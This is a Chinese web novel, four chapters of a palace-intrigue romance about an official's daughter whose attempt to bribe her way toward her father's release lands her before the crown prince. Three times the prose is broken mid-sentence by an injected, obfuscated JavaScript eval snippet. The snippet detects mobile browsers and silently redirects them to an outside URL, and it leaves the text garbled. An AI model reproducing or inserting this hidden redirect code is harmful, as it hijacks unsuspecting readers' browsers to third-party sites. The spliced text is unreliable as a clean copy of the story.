《意外成为东宫幕僚后》 1. 进京 大胤咸宁七年 乌云罩月，夜雨淅淅。 兆京城的悦昇客栈外，两排府兵列队以待。 栈内灯火燃燃，兵卫上下进出，发出阵阵的踏步声。 “出来！出来！”，外面有人大力叩门，震得门板霍霍作响。 任知宜猛地惊醒，望着窗外黑黑的人影，心跳漏了一瞬。 “小姐，出什么事了？”宝珠揉着惺忪睡眼。 “我去看看！”任知宜披衣下床。 房门打开，门外站着一个年轻的兵卫，黑衣劲袍，腰间别着柄刀。 他上下打量了她们主仆二人一眼，口气生硬：“打哪儿来的？” 任知宜镇定下来，伸手递上路引。 路引上的“灵州”二字让兵卫稍感意外。 灵州地处大胤西南边境，与兆京城相隔千里，这两个姑娘看着柔弱，竟然是从灵州而来。 “从灵州到京城，你们走的陆路？” 任知宜缓缓道：“不敢走陆路，大部分时候都是乘舟顺水，走了半月有余，直到昨日才抵。” 兵卫朝着房间里面觑了一眼，房间不过方寸之地，仅一床一柜，看不出什么异常。 任知宜心下一松，正要关门。 “等等！” 突如其来的厉声响起，一股肃杀之气扑面而来。 来人走近，黑色披风上挂着水滴，剑鞘透出肃肃光寒，腰间别一枚玄色令牌，正中是个“南”字。 南衙监门卫！ 掌管京城大半守卫的南衙，如今在大胤朝堂上可谓炙手可热。 任知宜心下一跳，和言问道：“这位大人，还有事吗？” 严风也不答话，径直跨入房间，锐利的双眸环视四周。 “大人你……”，任知宜吓了一跳。 严风的眼神在她们二人身上逡巡片刻，漫不经心地问道：“刚才听见姑娘说从灵州而来，不知姑娘此次只身赴京，所为何事？” “家父乃灵州长史任平，我此次来兆京，是代家父前来恭贺刘府尹大寿之喜。” 灯影幢幢，严风打量着任知宜的模样。 十七八岁的年纪，一袭青玉色襦裙，肌肤冷白，姿仪清雅，身形略显纤弱，像是官宦出身。 兆京府尹刘明扬明日寿宴，请了不少京中官宦勋贵，严风自己也同样收到了帖子。 严风不紧不慢地问道：“令尊为何不亲自前来？” 任知宜目露愕然，“大人应知，地方官非诏不得入京……” 话未说完，她戛然顿住。 她突然明白，这位南衙监门卫大人并非不知，而是在故意试探于她！ 任知宜秀眉轻蹙。 严风感受到她因为被冒犯而隐忍的怒气，反倒神色稍霁。 这是一个官家小姐应该有的反应。 灵州千里之遥，料想应该与那件事没什么关系！ 严风敛了周身的冷意，与她闲话家常起来，“灵州虽不繁华，城西有家酒铺的茶尾酒却很是香醇，让本将一直怀念得紧……” 任知宜淡淡应道：“大人许是记错了！那茶尾酒是城东十风酒铺的招牌！” “是吗？” 严风随意应道，突然身形一转，猛地打开立柜的门。 因为力道太大，一件女子贴身小衣掉落出来，上面绣着一团洁白的玉兰花。 任知宜花容失色，冲到立柜前慌忙遮挡，又羞又恼：“大人这是在做什么？” “本将奉命搜查！”严风面色不改，“职责所在！” “将军要搜东西，说一声便是！何必如此！”任知宜气得双唇轻颤，赌气似的将立柜中的衣物尽数拿出来，“我们二人的东西都在这里！你想搜就搜吧！” 严风纹丝不动，只是淡淡地瞥了一眼空荡荡的立柜。 此时，一个兵卫跑过来，小声道：“衙内有急事！” 严风神色一凛，留下一句“打扰了”，接着转身离去。 客栈外响起马鸣嘶声。 透过窗棂的缝隙，她瞥见严风跳上骏马，消失在夜色之中。 ———— 任知宜猛地瘫坐在椅上，掌心一片濡湿。 “出来吧。” 宝珠掀开屋顶的一块木板，上方露出一片狭长空道，仅半尺高度，刚好能容纳一人趴在里面，应是多年前房子的主人用来存粮的地方。 一位穿着青绿色胡裙的姑娘从里面钻了出来，散乱的发髻垂在胸前，脖颈和手臂上都是淤伤，脚踝还在流血。 任知宜面沉如水，“你究竟是什么人？居然惊动到南衙监门卫！” “我，我……”，姑娘颤着双唇，慌张地看着她们。 她身上穿着胡舞纱裙，薄如蝉翼，周身若隐若现，胸前露着大片的雪肤。 “算了！” 任知宜绷着脸，“我并不想知道，你速速离开。” “外面全是官兵，我实在没地方可去，求姑娘再收留一夜！”姑娘倏地跪在地上，眼泪刷刷直流。 “小姐……”，宝珠眼巴巴地看着她。 “闭嘴！” 任知宜怒极，狠狠地睕了宝珠一眼，“你忘了我们来京城是做什么的！什么样的麻烦你都敢招！” 宝珠缩着头，不敢再吱声。 任知宜面无表情看着姑娘：“若不是我的丫鬟自作主张救了你，我刚才绝不会帮你。你快走吧！” 姑娘跪着不起：“我虽命不足惜，但却是牵涉朝廷的一桩大案子……” “不要再说了！”任知宜冷冷地打断她：“今夜的情形你也看到了，我们主仆二人差一点跟着你送命。若我没料错，搜不到你，南衙卫极有可能去而复返。” 姑娘苦求无果，只得撑起身子离开。 “等一等！” 任知宜突然喊住她，从包袱里拿出一套男子衣物和假胡须递给她。 “这几日不设宵禁，你换装之后，从后门出去，朝着大路走！” “还有……”，任知宜瞥了她一眼，缓缓道：“走之前，抹几滴血在客栈楼阶的扶手上。” 那姑娘怔怔地接过东西，敛目垂眸，“谢姑娘大恩！” ———— 待她走后，宝珠怯生生道：“小姐，我知错了！” “这里不是灵州，日后切不可任性妄为。”任知宜长叹了口气：“你去将那块木板封死！” 宝珠依言。 “小姐！”宝珠突然喊道：“这里面有东西。” 任知宜盯着桌案上的册子，秀眉深蹙。 册子不过手掌大小，二十几页，里面记录了一些人名和地方。 粗略看了几眼，任知宜摸不准这到底是什么东西，猜测是刚才的姑娘留下的。 她微叹了口气：“先收起来吧！明天的正事要紧！” 她从包袱里拿出两个匣子，将小的木匣递给宝珠，“明日你带着此物去博文斋见他们东家，按我之前教你的去做。” “小姐呢？” “我去刘府送礼！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127480|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 南衙卫问话，任知宜不敢扯谎。 她的父亲的确是灵州长史任平，只不过，如今已深陷囹圄。 两月前，灵州刺史暴毙。任平代知灵州，总领全州政务，却遭遇州仓被盗，一夜之间，三千石粮不翼而飞。 有灵州官员站出来指证此案乃任平监守自盗，人证物证俱在。 山南道节度使听闻此事大怒，将任平革职下狱，案卷转呈刑部，按大胤律疏，官员监守自盗最少是流刑。 任知宜与母亲商量后，变卖了家中田产，去狱中探望父亲，才知晓这案子甚是古怪，无从查起，能证明任平无罪的几份关键证据都在一夜之间不翼而飞。 一切就像是被人精心设计好了一样！ 她在家中苦思一日。 敌在暗，她在明。陷害她爹的人在灵州，能做下此等大案之人，身后必有强大的背景势力。 若是她在灵州追查她爹的案子，无异于以卵击石。 倒不如，破釜沉舟…… 直接去兆京城！ 只要能打通京城的关系，案子重审就有希望；即使不成，若能将她爹的案子拖延数月，同样有回圜的余地。 “小姐，刘大人真能帮到老爷？”宝珠抱着木匣问道。 “兆京府尹掌京畿治安、刑诉，我爹的案子归在刑部，不是他的职权范围。” 宝珠泄气，“那找他有何用？” 任知宜将长形木匣小心地包起来，放在枕头旁边。 “咱们在兆京人生地不熟，没有门路，只能先指望他了。” 兆京府尹刘明扬，与任平同是顺景十三年的进士，是任家在京城中唯一能搭上的门路。 宝珠点点头，“刘大人愿意帮咱们，看来还是个顾念旧情的人。” “什么旧情！” 任知宜目色微凉，嘴角噙出一抹嘲意，“大胤的官员，有几个是清正廉洁，心怀公义之人！” 宝珠铺好褥子，主仆俩一同钻进衾被中，冰冷潮湿的触感让俩人同时瑟缩了一下。 “好冷！”任知宜忍不住打颤，不自觉地往宝珠那里凑近了些。 二人自小一起长大，情同姐妹，又一同跋涉千里来到京城，彼此之间早已没有什么秘密。 宝珠心大，想着听小姐的总是没错。 毕竟任府的开支是靠着小姐经营书坊贴补出来的；还有她，也是小姐救下来的…… 宝珠想着想着，迷迷糊糊地睡着了。 长夜漫漫，透着料峭春寒之气。 任知宜躺在床上，盯着客栈的屋顶，久不能寐。 不知道父亲怎么样了？ 她那日去狱中探望，本想好了绝不能在父亲面前哭，可是一见父亲的样子，眼泪还是不争气。 他瘦得两颊凹陷，整个人像是老了十岁；加之牢里阴冷，犯了咳疾，说没两句话，就咯出血来。 父亲是个读书人性子，虽有些耿直，却也不会轻易得罪人，究竟谁会这么害他？ “大学之道，在明明德，在亲民……” 隔壁传来朗朗的读书声，将她的思绪骤然打断。 任知宜翻了个身。 书读得再好又有什么用！ 侥幸中个进士，在大胤这污浊的官场里宦海浮沉个几年，谁还记得当年“在明明德”的初心！ 几句诗搅得她心神不宁，她从枕下摸出那本册子，翻了两页。 “解，州！” 黑夜中，她喃喃自语，双眸幽沉如渊。 2. 献礼 夜雨方歇，天色空蒙。 一大早，悦昇客栈外停着两辆马车，帷帘一白一青，华冠盖顶，锦幔雕栏。 宝珠倚窗下望，“小姐，南衙卫的人还没走，在检查咱们的那两辆马车。” “无妨！让他们查！”任知宜披衣坐起，漫不经心道。 照昨夜的情形，南衙卫只说“搜查”，不说“搜捕”，显然不愿意让别人知晓内情。 只要他们没在客栈抓到人，便不能将窝藏罪犯的罪名安在她们身上。 揽镜自照，宝珠为她梳头。 “小姐，咱们的银子剩得不多，为何还要雇两辆这么华贵的马车？” “这里是京城，天子脚下。若你一身素衣，又无车马代步，恐怕连他们府邸的大门都走不进去。” 任知宜转过身，将一支碧玉钗插在宝珠头上，满意地点了点头：“不止是我，你去博文斋谈生意，也要精心妆扮，这样才有底气。” 宝珠叹气，“我还是担心会把小姐交代的差事搞砸。” 任知宜纤指抹上口脂，在宝珠的唇瓣上轻轻一点，小脸立添三分娇艳。 “别在对方面前露怯，那是行商大忌。” ———— 二人下楼，店家早已站在客栈门外，等候多时。 他躬身撩起马车帷帘，感激道：“多谢姑娘昨日的提点！那伙计登记了阴阳两本账簿，今早我已将他送官。” 任知宜淡笑不语。 店家双手抱拳，“若不是姑娘，我还不知要蒙受多少损失！” “客栈的生意这么好，您还愁没有银钱？”任知宜笑容淡淡的，似乎意有所指。 店家微微一怔，旋即会意。 大胤会试春闱方过，外地的举子大多留京等待放榜，兆京客栈是一房难求。昨日，任知宜多加了五两银子，店家才肯让出一间房。 店家搓着手掌，哂笑道：“您看我这脑子糊涂的！若是日后再管姑娘要房钱，便是小老儿不懂事了。” 任知宜也没继续客套，莞尔笑道：“那就多谢店家了！” ———— 马车行过两条街，拐进一个狭长巷道，便是刘府。 车夫勒马而停，“小姐，到了！” 任知宜轻启帷帘，露出一张清丽的面容，她拢了拢青色羽纱披风，袅袅婷婷地下了马车。 刘府尹大寿，府邸门前车水马龙，宾客络绎不绝。 门房见到任知宜，满脸堆笑，“您是？” 任知宜温声道：“家父灵州长史，应刘世伯之邀，前来贺寿！” 门房心领神会，忙领路进门。 庭深院长，曲径扶疏，花园回廊旁假山林立，错落有致。 门房一边殷勤领路，一边解释道：“北面是府中厅堂，东面是老爷的书房，南面是两位少爷的书堂。” 任知宜轻声问道：“不知刘世伯现在何处？” “老爷在前厅待客。”门房指着不远处的书堂道：“他吩咐小的带姑娘先去书堂，将东西交予大少爷即可。” 任知宜抱紧怀中木匣，眉间一跳。 她递出几粒碎银，盈盈笑道：“今日我有很重要的事情，希望能与世伯当面商谈。” 门房接过银子，低声道：“姑娘放心！这一年之中刘府的人情琐事，都是大少爷在拿主意。他的意思，就代表我们老爷的意思！” 任知宜闻言微愕。 门房小声问道：“姑娘带的东西可是字画？” “不错！” “我们大少爷精研书画，一眼便可辨识藏品真伪。姑娘有什么难处，直接告诉大少爷即可。” 竟是如此！ 任知宜暗自思量，看来今日能否事成，就看这幅画在这位大少爷心中的分量了。 ———— 二人还未走到书堂，迎面碰上刘府的管家，说马上有贵客临门。 门房顾不得给她指路，撂下一句“前面左拐就是书堂”，飞也似地离开了。 书堂分二层，一层地阔，外有檐廊，内有厅堂；二层窗牗紧闭，是藏书之所。 任知宜寻得正门，正要拐出廊道进去，却不料此时有人从内里走出来，与她撞了个满怀。 躲避不及，摔倒在地，怀中长匣亦摔飞出去。 画轴骨碌碌地滚出来，露出画作一角，背面沾到少许灰迹。 她低头一看，急怒交加，脱口而出道：“莽货！” 莽货是灵州俚话，专骂那些愚笨痴傻，粗鲁莽撞之人。 一双黑色厚底皂靴走到她眼前，任知宜的视线顺着石青色素面直裰向上移去，心中咯噔一下。 男子玉冠束髻，眉宇间仿若峨峨青山，似山有扶苏，隰有荷华。 他的身后站着一位白衣男子，与其年龄相仿，虽不若他俊美无俦，却也是潇洒俊逸。 ———— 听门房说，刘大人的两位公子正是弱冠之龄，相貌俊秀。 任知宜捏着卷轴的指尖微动，面上因怒气升腾的血色渐渐消退下去。 与她相撞的男子蹲下身来，与她视线相平，和言问道：“姑娘手中拿的，可是程其开的《北岳松枝图》？” 任知宜抬眼，此人眸色温和，还有一种猝然临之而不见惊色的沉静。 仅凭画中一角的题词就能辨认出来，不愧是自小精研书画，难怪刘府尹会这么信赖这个儿子。 “刘公子好眼力！”任知宜起身轻整仪装，屈身见礼，“刚才一时情急，多有失礼，请公子勿怪！” 卫枢眉宇微动，继而和言道：“不怪姑娘，是在下差点弄坏了姑娘的珍品。” 言辞切切，尽显君子端方。 画轴展开，画中青松俊立，苍翠挺拔，虬枝从山岩中盘旋而起。 “公子觉得此画如何？” 卫枢神色温和，“笔锋精妙，静中取动，不愧是书画大家之作。” “公子喜欢就好！请公子笑纳！”任知宜唇角含笑，卷起画轴，顺势双手奉上。 卫枢眉头轻蹙，“在下不太明白姑娘的意思！” 任知宜一怔，指尖顿了一下。 她轻轻拂掉画卷上刚刚蹭上的灰迹，浅笑道：“公子请看，此画绝无半点瑕疵！” 卫枢凝眉不语。 任知宜笑道：“听闻公子精通书画藏品，须知这幅画可是程其开晚年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127481|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最出色的画作，市面上的价格绝对不会低于一万两。” 卫枢眸色微变，声音不疾不徐，“既然此画如此金贵，姑娘好生保管便是。在下还有其他要事，先行告退。” “等等！”任知宜见他真得对画毫无兴趣，心中一急，伸手拦下他。 她咬着下唇，轻声道：“公子莫不是怪我刚才出言不逊？” “若是因为这个，我向公子赔礼。” 任知宜欲福身行礼，被卫枢右手一扶，拦了下来。 她怔怔地望着落在她臂袖上的手，手指修长，大指上戴着一枚玉韘，愈发显得骨节分明。 四周空静，仅闻簌簌风声。 一道淡淡的声音响起，听不出半点情绪。 “请问姑娘府上是？” 任知宜沉默片刻，缓缓道：“家父是灵州长史任平，与刘世伯是昔日同窗，如今深陷囹圄，还请公子垂怜搭救！” 她暗暗地瞥了一眼卫枢，“世伯曾在信中提过，他极钟爱程其开的画，若公子不喜欢，我还可以换其他人的画。” 卫枢长眉微压，不动声色。 任知宜心下微凉，沉声道：“公子若另有要求，请尽管直说！” 卫枢缓缓开口，“你打算让我如何搭救你父亲？” “父亲的案子传至刑部已半月有余，能重审自然最好，如若不能，希望公子能让刑部将案子押后，拖延数月。若有用到银子的地方，绝不会让公子为难。” 卫枢神情莫测，辨不出喜怒，“任姑娘，须知行賕官员乃是重罪！” 任知宜一怔，旋而笑道：“公子说笑了！京城是天子脚下，灵州地远，何人会在意灵州发生的事情！” 此时，北面厅堂传来一阵嘈杂声，喧哗中夹杂着众人疾行的脚步声。 听声音，大概是管家所说的“贵客”临门了！ 卫枢沉吟片刻，又深深地看了一眼任知宜，缓缓地将画接过来，递给身后的白衣男子。 任知宜见他收下画，又惊又喜，深深地作了一揖，“多谢公子！” ———— 远望长空，雾霭散去，午时天光扶摇，正是春日晴暖之际。 任知宜步履轻快地走出刘府，站在门口等了片刻。 不远处传来宝珠的声音。 “小姐！小姐！” 宝珠从白色马车的帷幔后露出头来，神情雀跃。 另有一辆马车停在旁边，车毂坚实厚重，无半点华饰，颇为务实。 帷帘掀开，露出一张富态的方脸，来人年约五十岁，正是兆京最大的书坊博文斋的东家陆三爷。 陆三爷抚着短须，笑容可掬，“在下想与姑娘谈生意，不知姑娘能否移步博文斋？” 任知宜笑笑，“宝珠已将东西给三爷看过，三爷直接开价吧！” 陆三爷微微一愕，接着笑道：“姑娘倒是快人快语，我也就不藏着掖着了！” 他举起宽厚的手掌，伸出一根手指。 任知宜浅笑摇头，“两千两！” 陆三爷笑容一滞。 任知宜上到马车，轻声道：“若是三爷改了主意，可以派人去悦昇客栈传信！” 3. 入狱 悦昇客栈 京城不比灵州，二月的天依旧萧冷瑟瑟，夜里更是透寒。 宝珠为任知宜披上外衣，好奇问道：“小姐，你从刘府回来就一直捧着这东西，究竟在看什么？” 任知宜放下手中书册，“入京前，我花重金请人打听官员勋贵的消息，都记在里面，我想从中找一个人。” “找谁？” 任知宜脑海中闪过卫枢的身影，喃喃道：“按年纪看，或许是位世子，我不太确定。” 今日在书堂遇见的二人，起初她以为就是刘府尹的两位公子，直到看见那人手指上戴的玉韘。 那一枚是日月纹回凉玉韘，她在父亲的书房见过图样，是前年灵州进贡皇室的珍品。 一个普通的府尹公子，绝不可能佩戴此物。 她惊觉认错人，可是转念一想，倒不如将错就错。 此人必定身份显贵，他既然肯收下画，父亲的案子就多了几分把握。 宝珠没听懂，也未深问，只是后知后觉地想起一件事，“今夜怎地这么安静？隔壁的书生终于不读书吵人了！” 任知宜放下书，若有所思，“明日应该是今科会试放榜的日子，他们这些举子大概都去守榜了。” “难怪整个客栈都这么安静！”宝珠恍然，“这么早过去，岂不是要要守一夜！这些人何必非急于一时呢！” 任知宜掩唇笑笑。 二人随意闲聊一会儿，方熄灯入睡。 ———— 翌日清晨，博文斋专程派了马车来接她们。 坐在马车里，宝珠咧嘴笑道：“小姐，看来陆三爷是答应了。” 任知宜唇角含笑，心中的重负亦是轻快不少。 此行兆京还算顺利，那位“勋贵”已经收了她的礼，再与陆三爷达成生意，便能赚到一笔银子。 接下来用这银子疏通刑部的关节，她爹的案子就会有转机。 宝珠撩开帷帘一角，望着外面的大街，一脸的新奇。 兆京与灵州不同，街边商肆林立，商铺、酒楼皆客似云来，杂耍之人在街头卖艺，百姓的欢呼叫好声不绝于耳，京城繁华可见一斑。 马车右拐，进入石方街。 宝珠“咦”了一声，回头道：“小姐，我看到霍举子了！” “谁？” 任知宜一怔，随即会意，宝珠说的霍举子是住在她们隔壁的书生。 她向外望去，那位霍举子身着一件褐色旧深衣，站在人群之外，几次想要挤上前去，都被推搡出来。 众人簇拥的地方是一堵丈余白墙，两侧檐角作飞天状，墙下人头攒动，高声鼎沸。 任知宜缓缓道：“那是礼部官署的南院，这面墙被称为南墙。每逢放榜之日，在天未亮时，礼部的人就会将今科会试的榜单贴在这南墙上。” ———— 南墙之下，突然起了些骚动。 人潮汹涌，马车行进地愈发缓慢。 任知宜看到那霍举子被两个人强按住臂膀，跪在一个书生面前。 那书生锦衣高靴，一身江南富贵子弟的打扮。 他脚踩在霍举子的头上，狂笑着骂道：“你们房州这种粗鄙之地出来的，也妄想得中进士……哈哈哈！” 霍举子梗着脖子，想抬头却抬不起来，憋得满面通红。 那书生却还不罢休，左右开弓，朝着他的脸咣咣就是两个耳光。 宝珠看到此景，惊讶道：“光天化日的，这谁啊，怎么还打人呢！” 任知宜默默地看着外面，围观之人大多是各地来京赴考的举子，看到此人羞辱霍举子，却都退避三舍，假作不见。 宝珠义愤填膺道：“算什么读书人？霍举子平日里可比他们斯文知礼多了！” 任知宜叹道：“不要多事！我们初到京城，自顾尚且不能，如何管得了别人的是非。” 接着放下帷帘，吩咐车夫绕道而行。 ———— 早年的博文斋只是一间小小的书坊，因为陆三爷善于结交权贵名士，后来博文斋渐渐成为兆京文人雅士的会聚之所。 正可谓，“谈笑皆鸿儒，往来无白丁。” 任知宜细细打量着博文斋门前的进出之人，皆衣着华美，非富即贵。 宝珠掩着嘴，小声问道：“小姐让我这个小丫鬟去见陆三爷，然后再带他去刘府找你，是不是为了借刘府的势？” 任知宜但笑不语。 被下人引至博文斋的后院，满院绿柳，清沁雅致。 几案上果品、茶水一应俱全，足见博文斋的待客之道。 任知宜坐定，将三支毫笔铺于一绢丝帕之上。 “三爷，觉得东西如何？” 彤管通体美玉，莹白润滑，最难得的却是笔毫。 毫尖黑紫，不见一丝杂色，执笔而握，毫似锥尖，挥利如刀，乃是紫毫笔中的极品。 陆三爷眯着一双细眼，露出满意的笑容，“甚好！甚好！不过，这好东西，姑娘是从哪儿弄来的？” 任知宜蹙眉，“三爷信不过我？” 陆三爷啜了口茶，“陆某做生意一向谨慎，不知道来历，总归是心里不踏实。” “倒也没什么特别！”任知宜眼波流转，“我找了灵州最有名的养兔人，许以重金，给了他十只初生山兔。 每日只喂最青翠的绿竹叶，只饮最清甜的甘泉水，然后让这些山兔在灵州广袤林间肆意奔跑。” 任知宜悠悠叹道：“可惜啊！生生养了五年，才得到这一点点紫毫。” 灵州多山野峻岭，不宜种植五谷，却是山间野兽的绝佳栖居之地。 紫毫笔乃是取山兔项背之上最尖利的一簇制成，极其稀有，所以为文人墨客所喜爱。 “姑娘好心思！”陆三爷由衷赞叹道。 任知宜轻笑，“现在，三爷可以谈生意了吧！” “姑娘开的价……”，陆三爷缓缓笑道：“有些高了！” “嗳！你这人！”宝珠气呼呼道：“之前说好的，怎么出尔反尔？” “在商言商！”陆三爷气定神闲道：“你这东西，一般人根本要不起！只有我这博文斋！” 博文斋不差这一单买卖；可是任知宜不同，她急需要钱财。 陆三爷赌得就是，她没有门路。 市面上的三七毫大约五百两，这种十成紫毫少说也能卖到一千五百两以上，不过…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127482|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任知宜沉吟片刻，“不如这样，我将这三支紫毫笔放于博文斋代卖，不管最终卖到什么价格，三爷都可得三成！” 陆三爷有些意外，“姑娘为何这么笃定，一定能卖得出去？” 盏中茶香四溢，淡淡的清气沁入鼻中，任知宜轻推杯盏，“若是往常，或许有些难。” 她话锋一转，“可如今却不同！” “有何不同？” “春闱刚过，下个月便是御试！我的紫毫仅有三支，三爷若放话出去，非一甲之才不能与之相配，你说会试入甲者会不会纷纷争这个彩头呢？” 陆三爷瞪大了眼睛，接着哈哈大笑起来：“姑娘不会是因为这个才特意只卖三支吧！” 任知宜笑笑。 “哈哈哈！”陆三爷笑得开怀，“姑娘聪慧，陆某愿意交姑娘这个朋友，这单生意我接了。” “多谢！以茶代酒，敬三爷！”任知宜执盏浅笑，顾盼生辉。 ———— 主仆二人做成一桩大买卖，心情大好，待回到客栈时已是入夜。 客栈外立起的火把将街边照得亮白如昼，又是官兵巡查。 任知宜心中一紧，停下脚步。 隔着街望去，看这些官兵的衣着，不是南衙监门卫，倒像是兆京府的人。 心下稍安，她向旁边一位看热闹的路人问道：“这位大哥，请问这些官兵来客栈做什么？” 路人掩口悄声道：“在查客栈里的举子呢！” “有举子犯了官司？” “不清楚。他们一直在问举子之前的行踪，整条街所有举子都查了一遍，问得可详细了。” 任知宜眉间一跳，眼神微变，“这是为何？” “谁知道呢！”路人摇着头道：“官府的事儿，谁敢过问！” ———— 任知宜进入客栈时，帐台前的府兵正在翻查客栈的入住名册。 那府兵瞥见任知宜，先是怔了一下，紧接着高声喊道：“就是她！” 数十府兵轰地冲了进来，将任知宜和宝珠团团围住。 “抓走！” 几个府兵上前箝住她，将她扯拽到带头的府兵面前。 任知宜双手被枷，目色惊疑，“为什么抓我？” 府兵粗鲁地推她，“别废话！快走！” “你们凭什么抓我家小姐？” 宝珠又急又气，眼见他们要带走任知宜，正欲伸手去拦。 “宝珠！”任知宜厉声喝道，以眼神制止了她。 任知宜恳求地问道：“诸位是不是兆京府的？是不是弄错了？家父灵州长史任平，与刘世伯同朝为官，昨日我才刚去刘府为世伯祝寿。” 领头的府兵不耐烦道：“抓得就是你！任知宜，灵州长史任平之女。” 任知宜的心陡然一沉。 她眸色明暗交替，缓声道：“能不能容我跟婢女交代一句，绝不耽搁各位的差事。” 领头的府兵未答话，算是默认。 “宝珠，不可胡来，好好地在客栈等我。”任知宜握着宝珠的手，趁人不注意，快速地在她掌心里写下几个字。 宝珠怔然，乖觉地点了点头。 4. 太子 潮漉漉的杂草铺在石床上，墙角处泛着难言的腥味儿，整个牢房像被巨物吞噬，黑暗而压抑。 任知宜靠坐在石床上，听到“吱呀”一声，牢房的铁门被打开。 脚步声停在牢门前，来人的身影隐在黑暗中。 “燃灯！”一道清越的声音缓缓响起。 伴随着烛台燃起，昏暗的牢狱渐渐明亮起来。 一道有如苍岭之松的身影出现在任知宜的眼前。 是他！ “刘大公子！”任知宜心内一紧。 她从石床上走下来，隔着狱门，凝视着对方的眼睛。 他的眼睛长得极好，既不锐利，也不委顿，犹如山涧之泉，淡静，深沉，还有隐隐的威势，似静水流深。 眼下的情势让她的声音有些发涩，“公子，这其中是不是有什么误会？” “呵……”，一声轻笑自外间传入。 白衣男子沿石阶而下，赫然是那日所见的刘府二公子。 他轻声谑笑道：“殿下，你这不是替别人枉担虚名！” 冷风自墙隙间透进来，任知宜拢了拢单薄的囚衣，凝视着那双沉静的双眸，向后退了两步。 白衣男子称他为“殿下”，他果然是皇室中人。 他收下她的礼，却将她抓入牢中？ 她将指甲掐入皮肉之中，想要保持理智，理清这其中哪一环节出了纰漏。 “你究竟是谁？” 那人未说话，白衣男子嗤笑道：“你倒是挺能钻营，前脚被关，后脚就贿赂牢头想见刘府尹。罪证确凿，还关心其他的作甚？” 大胤刑律，官员贪墨千两者，降官阶四级，笞三十，而行贿之罪则是十年深狱。 任知宜双耳内发出嗡嗡的空响，眼前一阵一阵地发黑。 她被关深狱也就罢了，父亲的案子…… 眼看二人转身要走，她突然冲到牢门前喊道：“太子殿下请留步！” 卫枢转身，长眉微动，眸间闪过一抹异色。 任知宜心知，自己猜对了他的身份。 “臣女不服！既是行贿之罪，当是已成事实。臣女送错了人，便是未能成功，如何能判臣女的罪？” 任知宜继续道：“再者，臣女若触及刑律，刘大人同样有罪，行贿和贪墨，莫非还有亲远之分？” 卫枢静静地听了半天，面色不变，淡淡地问了一句：“你如何猜出我的身份？” 任知宜轻咬下唇，听闻当今陛下有四子三女，太子为嫡长子，时年二十三岁，为人冷酷，御下严苛，曾于大理寺亲手斩杀过一名贪墨的官员。 直觉告诉她，此人就是太子。 “臣女观殿下龙章凤姿……” 卫枢打断她，眼神中透出一丝嫌恶，“大胤吏治不清，就是因为有你们这些人。你虽行赇未成，也是触犯律法，此后一年，就在牢中静思己过吧！” 一年！ 任知宜面色刷白，脱口而出道：“那我爹的案子……” 卫枢倏地沉下脸来，“你爹挪盗官粮在前，遣子女行贿在后，还想逃脱罪责？” 任知宜急声辩解：“进京一事完全是我一个人的主意，我爹对此毫不知情！” 卫枢冷冷道：“既然你这么想做个孝女，那便与你爹一同入罪吧！” 说完，转身离开。 “殿下！” 任知宜凝望着他的背影，突然幽声问道；“殿下是否在查科举舞弊？” 冷风摇动，吹得烛火晃了一下，在卫枢的脸上落下一片阴影。 “臣女想帮殿下查案，恳请殿下给臣女一个戴罪立功的机会。” 任知宜跪在石地上，伏拜于地。 卫枢声音愈冷，“凭你？” 任知宜手指微颤，冷静道：“臣女只是想略尽绵薄之力，就像刘府尹那样！” 卫枢凝视着她，双眸锐利如刀，似要看穿她的意图。 任知宜稳了稳心神，继续道：“昨日殿下出现在刘府，今夜刘府尹便派兵查会试举子的行踪，臣女便做了这个大胆的揣测。” 卫枢唇角轻勾，笑意却未达眼底，“你的确聪慧，敏锐，只可惜，和你父亲一样，没用在正道上。” 此话极尽讥讽。 任知宜想到他的身份，狠狠地咬了咬后槽牙，忍了下来。 “殿下容禀！我父冤枉，若不是投靠无门，臣女也不会出此下策。” “……” 任知宜见卫枢仍然不为所动，朗声道：“我父为官十二载，未贪墨一分一毫，未枉判一桩官案，他不是殿下口中的贪官。此次进京，是我身为女儿的不忍之情，望殿下明察！” 阴冷的气息渗入她的膝盖中，像针扎般刺痛，任知宜仍将背脊挺得笔直。 卫枢长眉微挑，如今大胤国中，敢站出来说自己未贪墨一分一毫的大胤官员，真可谓凤毛麟角。 “惟启殿下明察！”任知宜再次伏身拜地，“臣女愿戴罪立功，助殿下破科举舞弊。希望殿下念臣女一片孝心，行贿未成，能为我父申冤。” 卫枢默了半晌，沉声道：“你父亲的案子，孤自会派人去查。” “至于你……”，他淡淡地瞥了任知宜一眼，眼神寒凉，“就好好地在牢中自省吧。” 